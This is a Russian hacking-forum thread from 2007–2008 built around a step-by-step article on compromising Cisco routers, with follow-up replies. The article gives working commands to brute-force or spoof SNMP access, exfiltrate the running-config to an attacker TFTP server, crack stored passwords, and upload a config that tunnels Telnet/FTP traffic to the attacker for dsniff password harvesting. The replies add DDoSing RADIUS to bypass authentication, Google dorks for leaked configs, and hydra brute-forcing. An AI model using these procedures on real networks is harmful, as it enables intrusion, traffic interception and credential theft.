Авторские статьи Статья: Укрощение дикой киски v2.0

Discussion in 'Статьи' started by ShadOS, 24 Nov 2007.

  1. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
    УКРОЩЕНИЕ ДИКОЙ КИСКИ v2.0 by ShadOS

    Маршрутизаторы фирмы Cisco Systems являются тем, из чего в большинстве своем состоит железная основа сети Интернет сегодня. Их стабильное функционирование является залогом работоспособности Глобальной Сети и потому любая критическая ошибка в их операционной системе может поставить под угрозу работоспособность и связность целых сегментов Интернета.

    К счастью (а может и к сожалению), в последнее время критических ошибок в операционной системе маршрутизаторов Cisco- IOS стали находить все меньше(или мне это только кажется? =)), но багов в голове сетевых администраторов от этого, похоже, меньше ничуть не становится. На просторах Дикого Дикого Веба все еще можно встретить роутеры, доступ к которым осуществляется по Telnet, SNMP-communityмаршрутизаторов назначены имена public или private, да еще и списки доступа ни для терминалов, ни для SNMP-сервера не настроены вообще.
    Если в качестве доступа к терминалу используется протокол Telnet – это еще половина беды, то использование простых и часто встречающихся имен SNMP-community да еще и без должной фильтрации это вообще полный белый пушистый зверек. Как раз SNMP-сервер маршрутизатора и будет главной нашей точкой атаки, вариантов которой может быть несколько.
    Первый вариант доступен нам, если доступ к snmp-агенту атакуемогомаршрутизатора не фильтруется или фильтруется плохо. В таком случае достаточно использовать перебор community-строк по словарю или брутфорсом. К счастью (или опять же, к сожалению =)), snmp-сервер понятия не имеет о том, что такое количество попыток и их лимит, потому перебор можно осуществлять сплошным потоком. Перебор можно осуществлять различными утилитами и, конечно, лучше если это будет самописный скрипт, но использование готового софта тоже приемлемо. Как пример, можно использовать утилиты из состава Solar Wind Engineers Toolset 9.0– комплекта приложений для сетевых инженеров, в состав которого входят утилиты для брутфорсинга snmp-communityстрок и для атаки на них по словарю. Утилиту очень просто найти в пиринговых сетях, надеюсь, это не составит проблем. Пример ее работы можно видеть на рисунке.

    Второй вариант доступен нам, если snmp community задана распространенной (а значит легко подбираемой) строкой, но доступ к snmp-агенту надежно фильтруется в списках доступа. Этот вариант мы рассмотрим подробнее, так как он представляет больший интерес и большую сложность по сравнению с первым. Конечно, может быть еще более сложный вариант, состоящий из комбинации первого и второго способа в лучших ее проявлениях, то есть community-string задана правильно и списки доступа надежно настроены. Такой способ является немного более сложным, так как следуя из своей комбинированной защищенности обходится такой же комбинированной атакой, совмещающей в себе перебор community-string и подмену адреса источника. В таком случае серьезную проблему могут составить лишь слишком длинные строки community и неизвестные доверенные адреса.

    И так, вернемся все же ко второму варианту. В качестве плацдарма для атаки будем использовать компьютер под управлением ОС Linux (в моем случае это Gentoo Linux 2007.0 c ядром 2.6.23). Для реализации атаки требуется наличие пакета net-snmp и iptables (я использовал версии пакетов 5.4 и 1.3.8 соответственно). Помимо всего прочего в ядре должен быть включен полная трансляция сетевых адресов и отслеживание соединений в виде модулей iptable_nat, ip_conntrack и ip_tables или вкомпилирован в ядро с поддержкой опций примерно так:

    CONFIG_NETFILTER=y
    CONFIG_NF_CONNTRACK_ENABLED=y
    CONFIG_NF_CONNTRACK=y
    CONFIG_NF_CONNTRACK_IPV4=y
    CONFIG_IP_NF_IPTABLES=y
    CONFIG_NF_NAT=y
    CONFIG_NF_NAT_NEEDED=y

    После установки всех необходимых пакетов и, при необходимости, пересборки ядра первым делом необходимо добавить правило iptables, которое будет выполнять преобразование сетевых адресов (в нашем случае их подмену). В правиле необходимо указать, что адрес источника всех пакетов, направляющихся по протоколу UDP к SNMP-агенту маршрутизатора ( работающего на 161-м UDP порту ) необходимо заменить на адрес того хоста, который может беспрепятственно использовать SNMP-менеджер для управления и сбора статистики ( читай - админские адреса ). Подобная запись выглядит следующим образом:

    iptables -t nat -A POSTROUTING -p udp --dst 10.10.100.200 --dport 161 -j SNAT --to-source 192.168.0.137

    здесь —dst — адрес атакуемого маршрутизатора, --to-source — адрес доверенного хоста, который имеет доступ к snmp-агенту. Для полной уверенности в корректности функционирования такой команды рекомендую сделать пробный дамп tcpdump'ом и посмотреть адреса назначения. Скорее всего, у тебя, мой уважаемый читатель, сразу возник вопрос о том, как мы будем получать ответы от SNMP-сервера маршрутизатора (агента). Ответ – никак. Нам это и не требуется. Единственный минус такого расклада – мы не сможем контролировать правильность выполнения команд и быть абсолютно уверенными в том, что мы все делаем правильно: ответы будут уходить доверенному адресу, а мы будет получать таймауты запросов, однако, маршрутизатор при правильно составленных запросах покорно выполнит все что от него требуется. На самом деле это очень похоже на то, как любой из нас ночью добирается до холодильника на кухне – хотя ничего и не видно, дорогу мы знаем прекрасно и всегда можем найти путь в нужное нам назначение =)Такая покорность маршрутизатора обусловлена, как ты догадался, самим принципом работы протокола UDP, так как соединение по UDP на транспортном уровне не устанавливается и мы спокойно может передавать данные не беспокоясь за из доставку и не получая уведомления об той самой успешной доставке.

    Естественно, как и в любой другой системе, крупной добычей (хотя и не являющейся главной целью) являются конфигурационные файлы. Операционная система маршрутизаторов Cisco IOS не является исключением и в ней этими конфигурационными файлами могу быть running-config и startup-config главное отличие которых понятно из названия, но разницы между ними в полностью настроенном и автономно функционирующем маршрутизаторе чаще всего нет. Этот конфигурационный файл, описывающий все настройки роутера и будет нашей главной целью при атаке на snmp-community доступной на запись. Получит конфиг можно несколькими способами, но те из которых не доступны по сети мы рассматривать не будем. По сети конфигурационный файл может быть получен по протоколам FTP, TFTP или RSCP. В своем примере я буду использовать протокол TFTP для простоты, в качестве TFTPd будем использовать демон atftpd (я использовал версию 0.7), конфиг будет сохраняться в дефолтной папке tftpd - /tftpboot. Что до SNMP-MIB таблиц, то нас будет интересовать раздел CISCO-CONFIG-COPY-MIB, который доступен в Cisco IOS начиная с 12й ветки, заменив собой устаревшую секцию OLD-CISCO-SYSTEM-MIB.
    В полном виде наш сценарий будет выглядеть так:

    Укажем, что для передачи данных используем TFTP-протокол:

    snmpset -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 integer 1

    В качестве целого числа указывается протокол 1 – для TFTP, 2 – для FTP и 3 для RSCP.
    Число 666 выбрано случайно и идентифицирует ячейку, в которую мы записываем нашу составную команду для копирования. <device name> - имя целевого маршрутизатора или ip-адрес. В моем случае это 172.22.2.1. Далее укажем, что хотим скопировать текущий используемый конфигурационный файл - running-config:

    snmpset -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 integer 4

    Если указать после integer 1, то IOS будет пытаться копировать файл из сети, находящийся, например, на TFTP, если 2, то любой локальный файл, не являющийся конфигурационным, 3 (startup-config), 4 (running-config), и последний вариант 5 - стандартный терминальный вывод. Третьей командой указываем, что хотим скопировать файл по сети (ccCopyDestFileType INTEGER: networkFile):

    snmpset -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 integer 1

    Варианты целочисленного параметра аналогичны предыдущей команде. Четвертой командой назначим адрес TFTP-сервера:

    snmpset -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 address <адрес TFTP-сервера>.

    В мойм случае это 172.22.1.18. Далее зададим имя фала на TFTP-сервере:

    snmpset -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 string victim-config

    После того, как команда составленна, можно запускаем копирование:

    snmpset -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 integer 1

    Для запуск копирования можно указать параметр 1 или 4. Если бы у нас был доступ, могли бы проверить, успешно ли выполненно (возвращен статус 3):

    snmpwalk -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.10.666

    Однако, как и в случае всех других команд, нам будет возвращен статус:

    Timeout: No Response from <device name>.

    Потому правильность выполнения команды мы будем проверять по наличию в папке /tftpboot появится файл victim-config приемлемого размера. Далее можно подчистить за собой следы — удалить ячейку 666 с всеми нашими командами:

    snmpset -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 integer 6

    Ах да, чуть не забыл - естественно, в качестве community-строки private должно быть имя, заданное на маршрутизаторе.

    Перейдем к следующему пункту наших действий — получение терминального доступа к консоли.
    В скачанном конфиге нас больше всего интересуют, как это не банально, пароли. Тех самых паролей может быть несколько в разных вариациях:
    - пароль на enable режим ( enable password 7 <пароль в виде открытого текста> или enable secret 5 <пароль в MD5> )
    - пароль на терминальный доступ:

    ...
    !
    line vty 0 15
    password 7 <пароль в виде открытого текста>
    ...

    - пароль и имя пользователя ( username <имя пользователя> password 7 <пароль в виде открытого текста> или username <имя пользователя> secret 5 <пароль в MD5> )
    Кроме всего вышеназванного, вместо открытого текста в конфигурационном файле может появиться, например, такая строка, пароль которой закодирован в результате применения команды service password-encryption:

    password 7 06120A3258

    где 06120A3258 — есть ничто иное как пароль открытым текстом - «test». Подобную кодировку назвать шифрованием тяжело, так как алгоритм кодирования ее известен и декодируется, например, утилитой Cain&Abel.
    Возвращаясь к конфигурационному файлу атакуемого маршрутизатора, нам не составит труда найти строки, отвечающие за конфигурацию паролей и взломать их перебором или по словарю в Cain или просто декодировать их. Конечно, если пароль задан в MD5, то придется потратить значительное время. Итак, пароль получен! Однако, радоваться еще рано, ведь доступ к виртуальному терминалу может быть ограничен списком доступа, например, так:

    ...
    !
    access-list 10 permit 172.22.1.7
    access-list 10 deny any
    !
    ...
    line vty 0 4
    access-class 10 in
    password 7 051F031C35
    login
    !
    ...

    В таком случае решения может быть как минимум два. Первое — попытаться обойти этот стандартный список доступа. Однако трюк, подобный тому что мы провели с SNMP здесь не прокатит по нескольким причинам. как telnet, так и ssh протоколы используют надежный транспортный протокол TCP, который непременно требует установки соединения с помощью трехэтапного рукопожатия SYN<->SYN/ACK<->ACK, кроме того, ответные данные получать нам обязательно, иначе соединение теряет свой смысл. И все же решение такой проблемы есть, но доступно оно лишь в том случае, если атакующий находится в той же самой подсети, что и адреса, доступ которым разрешен по терминалу. Общий смысл сводится либо к простой смене адреса на интерфейсе атакующего, либо к спуфингу IP-адреса и/или MAC-адреса. Моей любимой утилитой, реализующей последнее является sTerm от кодера MAO, создателя Cain&Abel. Скорее всего, разобраться с ней у тебя не составит труда: все что требуется сделать — это задать желаемый IP-адрес и указать, требуется ли спуфить MAC-адрес источника.
    Исе же, добраться в нужный сегмент сети, чаще всего, не представляется возможным ибо находится он, в отличие от маршрутизаторов, в DMS за корпоративным аппаратным файрволлом на основе, например, Cisco PIX. Конечно, это устройство тоже подвержено некоторым уязвимостям, но это повод для отдельной статьи. Итак, допустим, мы находимся за много километров и хопов от атакуемого маршрутизатора, и есть конечная цель — собирать пароли пользователей, трафик которых проходит через тот самый маршрутизатор, пачками в благородных целях (для коллекции).
    Тогда мы берем другую тактику и снова обратимся к SNMP. Все, что потребуется изменить в предыдущем сценарии — поменять местами источник копирования и назначение, предварительно изменив конфигурационный файл на нашем TFTP. Это способ так же применим, если нам не удалось/не хватило мощности\времени/лениво подобрать пароль. Идея нашей атаки заключается в создании туннеля между атакующим и атакуемым роутером для заворачивания трафика от маршрутизатора к атакующему и последующего его возврата на маршрутизатор. Если ты знаком с базовыми принципами маршрутизации то должен прекрасно понимать, что туннель необходим нам, чтобы адрес следующего пункта назначения находился в той же подсети, что и один из интерфейсов маршрутизатора, через который будет проходить тот самый трафик. В нашем случае это будет самый распространенный интерфейс-туннель, используемый на Cisco роутерах — GRE.
    Приблизительную схему атаки ты можешь видеть на рисунке. Открываем любимый текстовый редактор (позор, если это не vim или emacs) и приступаем к редактированию:

    !
    interface Tunnel0
    ip address 10.0.0.1 255.255.255.252
    tunnel source 172.22.2.1
    tunnel destination 172.22.1.18
    !
    interface Ethernet0/0
    ip address 172.22.2.1 255.255.255.128
    ip policy route-map sniff-traffic
    !
    interface Ethernet0/1
    ip address 192.168.0.2 255.255.255.252
    ip policy route-map sniff-traffic
    !
    ...
    !
    access-list 101 permit tcp any any eq telnet
    access-list 101 permit tcp any any eq ftp
    access-list 101 permit tcp any eq telnet any
    access-list 101 permit tcp any eq ftp any
    ...
    route-map sniff-traffic permit 10
    match ip address 101
    set ip next-hop 10.0.0.2
    !
    ...

    Первым делом мы создаем новый интерфейс — Tunnel0, по-умолчанию он имеет тип IP/GRE. В качестве источника укажем один из адресов существующих интерфейсов маршрутизатора, участвующих в процессе форвардинга трафика, а в качестве адреса назначения — адрес атакующего. В моем примере это 172.22.1.18. Далее создаем расширенный список доступа, который может фильтровать трафик, в отличие, от стандартных ACL, не только по ip-адресу источника и укажем, какие протоколы, точнее порты служб, к которым направляется трафик, нас интересуют. Следующим шагом будет создание карты маршрута (route-map), в которой мы сообщаем, что хотим перенаправлять трафик, соответствующий критериям ACL 101 на адрес 10.0.0.2, который впоследствии назначим туннельному интерфейсу на машине атакующего. Ну и наконец, применим карту маршрутов к интерфейсам с помощью политики IP:

    ip policy route-map sniff-traffic.

    Все. Конфигурация готова, можно заливать ее обратно на маршрутизатор как я это описал выше.
    Теперь перейдем к машине атакующего. Для наших целей нам понадобится модуль ядра ip_gre.
    Вот что сообщил modinfo об этом модуль в моей системе:

    filename: /lib/modules/2.6.23-gentoo-r1/kernel/net/ipv4/ip_gre.ko
    license: GPL
    depends:
    vermagic: 2.6.23-gentoo-r1 mod_unload 686 4KSTACKS

    Для загрузки модуля выполним:

    modprobe ip_gre

    И проверим успешность его подгрузки с помощью команды:

    lsmod | grep ip_gre

    Если все прошло успешно, то можно приступить к установке пакета iproute2. С помощью него мы будем управлять нашим GRE-туннелем и маршрутизацией. Я использовал версию iproute2-ss070710, чего и тебе советую, на момент написания статьи она была последней. Туннель будет аналогичен тому, что мы создали на маршрутизаторе с тем лишь отличием, что адреса источника и назначения поменяются местами:

    ip tunnel add Tunnel0 mode gre remote 172.22.2.1 local 172.22.1.18

    Далее назначаем адреса туннелю:

    ip addr add 10.0.0.2/30 dev Tunnel0

    И поднимаем линк:

    ip link set Tunnel0 up

    Так как весь трафик нам необходимо возвращать на атакуемый маршрутизатор, то основным шлюзом будет для нас адрес 10.0.0.1. Чтобы не потерять связь с адресом 172.22.2.1 пропишем маршрутизацию к нему тоже:

    ip route del default
    ip route add default via 10.0.0.1
    ip route add 172.22.2.0/25 via 172.22.1.61

    Естественно, чтобы была возможность перенаправлять трафик, необходимо такую опцию включить:

    echo '1' > /proc/sys/net/ipv4/ip_forward

    И проверить, все ли корректно настроено у нас в iptables для цепочки FORWARD.
    Теперь все готово для того, чтобы перенаправлять трафик и вытаскивть из него пароли чемоданами. В качестве парольного сниффера я использую dsniff. Запустим его:

    dsniff -i Tunnel0 -w ./sniffed_passwords

    Через некоторое время файл sniffed_passwords начнет заполняться паролями от FTP и Telnet-сессий, прочитать его можно так:

    dsniff -r ./sniffed_passwords

    Как говорил Остап Бендер - «Грузите апельсины бочками». На этом всё.
    Вместо заключения стоит отметить, что подобный сценарий уже был описан в статье Mati Aharoni, William M. Hidalgo «Cisco SNMP configuration attack with a GRE tunnel» на www.securityfocus.com еще в 2005м году. Однако способ, приведенный авторами, чрезвычайно неудобен, ибо требует наличия маршрутизатора у атакующего и имеет предрасположенность к страшным извращениям с tcpdump'ом. Естественно, маршрутизатор в ближайшем киоске не купишь да и стоит самая простая модель немалых денег. Это первое. А второе — достать жирный канал, который смог бы переварить большой объем проходящего трафика тоже стоит немалых усилий. Ну и третье — скрытность. Понятно, что анонимный root-shell скроет следы атакующего, да и достать его очень просто (но не в соседнем киоске ;)) Всего наилучшего.
    Сцылки:
    http://www.securityfocus.com/infocus/1847 - Cisco SNMP configuration attack with a GRE tunnel
     
    #1 ShadOS, 24 Nov 2007
    Last edited: 23 Apr 2008
    12 people like this.
  2. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    484
    Likes Received:
    330
    Reputations:
    389
    Мне понравилось, дай пжста, если есть, хороший линк на страничку с описанием мануала по dsniff на русском, если такой имеется, ибо у меня например, dsniff так и не встал из-за библиотек =(
    Если я правильно понял - в контексте данной статьи snmp-сервер является самим же роутером (ну, или другим устройством, во всяком случае - не вынесен отдельно). Если это так, но с вероятностью 80% будет прикручен Raduis или другая система расширенной аутентификации. Radius чаще всего стоит для ssh и telnet и имхо для snmp он тоже тогда включен. Или я не прав?

    PS 2 ShadOS Если есть какие-то наработки - или доп. материал по взлому CISCO - прошу либо выложить, либо стукнуть в асю.
     
    #2 1ten0.0net1, 26 Nov 2007
    Last edited: 26 Nov 2007
    1 person likes this.
  3. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
    Итак, первое. Про dsniff материала обычно не очень много ибо сниффер очень прост в использовании, да и стар он как мир. Я ещё хаком толком не занимался а про этот сниффер был наслышан. Официальный сайт dsniff http://monkey.org/~dugsong/dsniff/
    Из документации есть man, помимо этого рекомендую обратиться в FAQ:
    http://monkey.org/~dugsong/dsniff/faq.html
    Помимо этого есть перевод мануала на русский:
    http://www.protocols.ru/modules.php?name=News&file=article&sid=29
    Вот выдержка по dsniff из какой-то статьи:
    Впринципе, статья права. Эти же данные можно получить, анализируя дампы tcpdump, что я и делал. Однако в статье решил упомянуть именно dsniff из-за его забытости и простоты использования.

    Ко второму вопросу. snmp-сервер не является самим же роутером. В данном случае это процесс на роутере, выполняющий роль snmp-агента, он не вынесен отдельно.
    Радиус не прикручен, я с этим, кстати, не сталкивался. По крайней мере обычно это не требуется в сетях, где используется менее 5-10 маршрутизаторов. Соответственно, контролировать авторизацию на них можно и без radius-сервера, однако вопрос интересный, стоит его проработать.
     
  4. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
    На Chaos Construction выложии видео. Скачать можно здесь:
    http://ftp.cc.org.ru/pub/2007h/nethack/4_0x48k_cisco-hacking.avi
    или здесь:
    ftp://ftp.cc.org.ru/pub/2007h/nethack/4_0x48k_cisco-hacking.avi
     
    #4 ShadOS, 5 Dec 2007
    Last edited: 5 Dec 2007
    1 person likes this.
  5. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
    Хотелось бы внести несколько интересных наблюдений и пояснений к этой и вот этой теме:
    https://forum.antichat.ru/thread55706.html
    Особенно для тех кто меня спрашивал, как это можно сделать.

    По поводу авторизации в радиусе:
    Если имеем нечто подобное в конфиге:
    Code:
    ...
    enable secret 5 $1GHC$8jPinH9M0fQKpDT5d7iFM1
    ...
    radius-server host xxx.xxx.xxx.xxx auth-port 1645 acct-port 1646
    ...
    aaa authentication login default group radius enable
    aaa authentication login CON none
    aaa authorization exec default group radius if-authenticated 
    ...
    
    То достаточно заглушить ip xxx.xxx.xxx.xxx радиус-сервера (напр. DDoS). Это позволит нам авторизоваться по enable secret.
    В логах попеременно будут возникать вот такие записи:
    Code:
    *Mar  1 08:48:41.626: %AAA-3-BADSERVERTYPEERROR: Cannot process authentication server type radius (UNKNOWN)
    *Mar  1 10:04:10.823: %RADIUS-4-RADIUS_DEAD: RADIUS server ххх.ххх.ххх.ххх:1645,1646 is not responding.
    *Mar  1 10:04:10.823: %RADIUS-4-RADIUS_ALIVE: RADIUS server ххх.ххх.ххх.ххх:1645,1646 is being marked alive.
    
    Однако, авторизация будет происходить не сразу, обычно со 2, 3й попытки.
    По поводу того, как искать маршрутизаторы:
    1) усиленно пользоваться whois-сервисами, собирая макимум инфы об адресном пространстве компании
    2) усиленно пользоваться google-hack, производя поиск по стокам, например,
    "enable secret 5 $1" - это позволит найти нам гарантированно живые конфиги с паролями.

    По поводу брута:
    пароли md5-cisco есть нечно иное для John The Ripper как FreeBSD MD5 хеш. Джоном смело можно их брутить.
     
    3 people like this.
  6. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
    Вот , кстати, видео в архиве для тех, кому было лень сливать ~180 Мб.
    В архиве весит около 20Мб. Качественное, с муз. сопровождением и комментами (не в блокноте =)).
     
    #6 ShadOS, 5 Jan 2008
    Last edited: 5 Jan 2008
  7. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
    Нашёл в сети три очень интересных видео! К сожалению, все они Whitehat PoC, но как идея очень интересны. Буду двигаться в их направлении:

    "Two byte rootshell" or Tiny Shell
    Requires up to one (sometimes none) hard-coded addresses within IOS
    Removes the requirement to authenticate to a currently active VTY
    Privilege escalates to level 15
    http://www.irmplc.com/content/videos/tinyshell_final/tinyshell_final.html

    Reverse Shell
    Requires five hard-coded addresses of functions within IOS
    Creates a new VTY
    Privilege escalates to level 15
    Opens a new TCP connection
    Binds the VTY to the TCP connection
    http://www.irmplc.com/content/videos/reverseshell_final/reverseshell_final.html

    Bind Shell
    Requires four hard-coded addresses of functions within IOS
    Creates a new VTY
    Sets a password on the VTY
    Privilege escalates to level 15
    http://www.irmplc.com/content/videos/bindshell/bindshell.html
     
  8. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
    Тут один знакомы и достаточно известный человек спросил меня о том, насколько мощный канал требуется для шелла, через который будем заворачивать траффик. Скажу сразу, что поток будет не самы большой, тем более что можно разделить, допустим smtp и ftp траффик по разным шеллам с помошью списков доступа и последующего назначения различных карт маршрутов. (обо всём том читай выше). Ну а о том, какой всё-таки канал нужен - судите сами. Ниже привожу статистику загрузки типичного маршрутизатора различными типами траффика:
    Code:
    Protocol	Total		Total
    --------	Flows		%
    TCP-Telnet	28730		0,0092
    TCP-FTP		117457		0,0374
    TCP-FTPD	73405		0,0234
    TCP-WWW		52043521	16,5767
    TCP-SMTP	7744682		2,4668
    TCP-X		473622		0,1509
    TCP-NNTP	372		0,0001
    TCP-Frag	290		0,0001
    TCP-other	122284243	38,9495
    UDP-DNS		10442558	3,3261
    UDP-Frag	29805		0,0095
    UDP-other	83581219	26,6220
    ICMP		30051073	9,5718
    IPINIP		708205		0,2256
    IPv6INIP	178		0,0001
    GRE		4662815		1,4852
    IP-other	1713362		0,5457
    Total:		313955537	100
    
     
    1 person likes this.
  9. SterhTG

    SterhTG Elder - Старейшина

    Joined:
    14 Apr 2008
    Messages:
    86
    Likes Received:
    10
    Reputations:
    0
    Возникает вопрос при поподании на маршрутизатор Cisco человеком, без знания энейбла что можно сделать? В моем случае имеется Cisco 2611, c IOS 11.3(2)XA3 а также пользовательский уровень доступа, SNMP не работает. Порыл на сайте Циски, багов позволяющих поднять привелегии нет. Есть ли пути для поднятия уровня доступа ? Помню был скрипт где-то брутил этот самй енэйбл нет ли такого скриптика ?
     
  10. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
    Лучше воспользоваться не сторонним скриптом, а старой доброй hydra от команды THC (http://freeworld.thc.org/). Запускается примерно так hydra <router ip> enable-cisco. Помимо этого надо указать словарь перебора и параметры доступа к маршрутизатору.
     
Loading...